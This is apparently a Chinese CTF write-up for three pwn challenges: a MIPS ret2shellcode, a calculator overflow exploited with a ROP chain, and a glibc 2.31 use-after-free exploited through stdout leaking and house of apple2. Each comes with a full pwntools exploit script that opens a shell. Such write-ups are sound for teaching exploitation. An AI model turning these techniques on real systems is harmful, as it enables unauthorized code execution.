题目链接
前言
wp的内容都是比赛时的做法,只是为了快速的出题,并不一定是最好的解法
2,3题都有别的做法,可以去a1的公众号看一路生师傅的题解,写的很好
mips_pwn_challenge
一道mips 32位大端序题目
mips架构最大的特点就是不支持nx保护,同时这道题输入255就可以泄露栈地址
泄露栈地址后,调试返回地址与泄露地址的固定偏移打ret2shellcode即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import * from bisect import * context(arch="mips", os="linux", endian="big", word_size=32, log_level="debug") io=remote("10.1.100.90",9999) #io=process(argv=['qemu-mips','-L','/usr/mips-linux-gnu/','./pwn']) #io=process(argv=['qemu-mips','-g','6666','-L','/usr/mips-linux-gnu/','./pwn'])
io.recvuntil(b'input number of magic\n') io.sendline(b'255') io.recvuntil(b'gift: ') stack=int(io.recv(10),16) shellcode=asm(shellcraft.sh()) offset=0x2c payload=b'a'*(offset)+p32(stack+0x30)+shellcode io.sendline(payload) io.interactive()
|
easy calc
一道计算题,猜测漏洞点可能在数字与符号的组合中
模糊测试可以发现:不同的数字符号组合会在vuln函数的返回地址后留下不同的数据
而rsp+8的位置是我们整个计算的结果,所以可以通过-1再加上一个数字,造成上溢修改到rsp处的值也就是返回地址
在我的几个方案的测试后发现规律如下:
1 2 3 4 5 6
| -1+a+((b-c)/1)+cd/d 最后的结果会是 rsp: a rsp+8: b rsp+16: c rsp+24: d
|
知道了如何控制返回地址就开始我们的rop链构造
第一次构造pop rdi puts_got puts_plt main的链子,泄露libc并且重新计算一次
第二次构造pop rdi shell ret system的链子
由于这个控制方法的弊端是rsp+16处的值会是最后一个除法的商,就需要填入ret*system的结果,显然超过了p64的范围
因此换一条链子pop rdi shell system+offset 1的链子
这样最后的计算的除数是1就不会有影响了,只是为了满足64位栈堆平衡,需要取system后方一点的地方,让他少push一次,就可以满足平衡
可以自行测试别的组合的规律,能找到更适合更方便的构造方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| from pwn import * context( arch="amd64", os="linux")
io=remote("10.1.100.196",8888) elf=ELF('./pwn') libc=ELF('./libc.so.6') def dbg(): gdb.attach(io) pause()
pop_rdi=0x402330 puts=0x401676
payload=b'-1' payload+=b'+'+str(pop_rdi).encode() payload+=b'+('+str(elf.got['puts']-(elf.plt['puts']-4)).encode()+b'/1)' payload+=b'+'+str((elf.plt['puts']-4)*0x401531).encode() payload+=b'/'+str(0x401531).encode()
io.sendline(payload) io.recvuntil(b'4214808\n') libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x84420 info("libc_base: "+hex(libc_base))
system=libc_base+libc.sym['system']-0x5be sh=libc_base+next(libc.search(b'/bin/sh\x00')) info(sh) ret=libc_base+next(libc.search(asm('ret;'),executable=True)) payload=b'-1' payload+=b'+'+str(pop_rdi).encode() payload+=b'+('+str(sh-system).encode()+b'/1)' payload+=b'+'+str(system).encode() payload+=b'/'+str(1).encode() io.sendline(payload) io.interactive()
|
only_one
只有add和delete,有一次uaf的机会,2.31版本
因此,泄露必须要打stdout
之后的利用方法需要两个小技巧,算非预期,但是更快,更节省add次数
申请0-8的chunck,释放2-8填满tcachebin,释放1(uaf),再释放0,申请一个chunck,再释放1,让1进入tcachebin
此流程跟初赛pwn3流程一样,核心思路就是,要造成一个chunck同时在unsorted bin和tcache bin,必须先让他进入unsorted bin,再进入tcache bin,而进入tcache bin会破坏他的fd bk,所以用chunck0合并chunck1来保护unsorted bin
之后为了能够做到tcache poison,就需要两个chunck切割掉chunck0(因为申请跟chunck0大小相同的chunck,会从tcache bin中取)
这样我们的chunck0就因为unsorted bin的切割更新,有了libc地址作为fd bk,观察到他的fd与_IO_2_1_stdout_只有末两字节不同,因此覆盖末两位就可以,在开启了aslr的情况下有1/16的概率成功申请到_IO_2_1_stdout_
这时候用到技巧1:
我们之前申请的chunck都是0x100大小的,实际大小会是0x110,此时我们想要绕过tcache bin申请到他的话,可以申请0xf0大小,由于unsorted bin的机制,以及0x10大小的chunck是不存在的,所以会直接申请到这个堆块
这样就可以快速的修改他的fd了
技巧2:
我们不把目标地址改为_IO_2_1_stdout_,而是改为_IO_2_1_stderr_的chain上,这个chain指向的就是_IO_2_1_stdout_。这样子我们后续的申请就会先申请到chain的位置,再申请到_IO_2_1_stdout_的位置
而由于我们不会主动刷新程序执行流,也不会调用错误输出,_IO_2_1_stderr_即便受损也不会影响程序运行,直接暴力覆盖到_IO_2_1_stdout_开头,然后用p64(0xfbad1800)+p64(0)*3+p8(0)泄露libc
再一次申请就可以直接申请到_IO_2_1_stdout_了,此时打house of apple2即可在后续的menu中触发攻击链成功get shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| from pwn import * context( arch="amd64", os="linux") io=process('./pwn') #io=remote("10.1.100.82",9999) libc=ELF('./libc.so.6') def dbg(): gdb.attach(io) pause() def cmd(choice): io.recvuntil(b'> ') io.sendline(str(choice).encode()) def add(size,data): cmd(1) io.recvuntil(b'yours Size: ') io.sendline(str(size).encode()) io.recvuntil(b'Please enter yours Content: ') io.send(data) def delete(index): cmd(2) io.recvuntil(b'yours Index: ') io.sendline(str(index).encode()) def only(index): cmd(999) io.recvuntil(b'only one for you: ') io.sendline(str(index).encode()) for i in range(9): add(0x100,b'aaa')#0~8 for i in range(7): delete(2+i)#2~8 tcache only(1) delete(0) add(0x100,b'aaa')#9 delete(1)
add(0x70,b'aaa')#10 add(0x80,b'aaa')#11
add(0xf0,p16(0x2628))#12
add(0x100,b'aaa')#13 #dbg() payload=b'\x00'*(0x78)+p64(0xfbad1800)+p64(0)*3+p8(0) add(0x100,payload)#14
io.recvline() io.recv(8) libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x1ec980 info(hex(libc_base)) stdout=libc_base+libc.sym['_IO_2_1_stdout_'] wfile_jumps=libc_base+0x1e8f60 io_file = flat( b' sh;', p32(0), p64(0)*4, p64(libc_base + libc.sym['system']), #_IO_write_ptr p64(0)*11, p64(libc_base +0x1ee7e0), #_IO_stdfile_1_lock p64(0)*2, p64(stdout - 0x40), #_wide_data p64(0)*6, p64(wfile_jumps) #vtable ) #dbg() add(0x100,io_file)
io.interactive()
|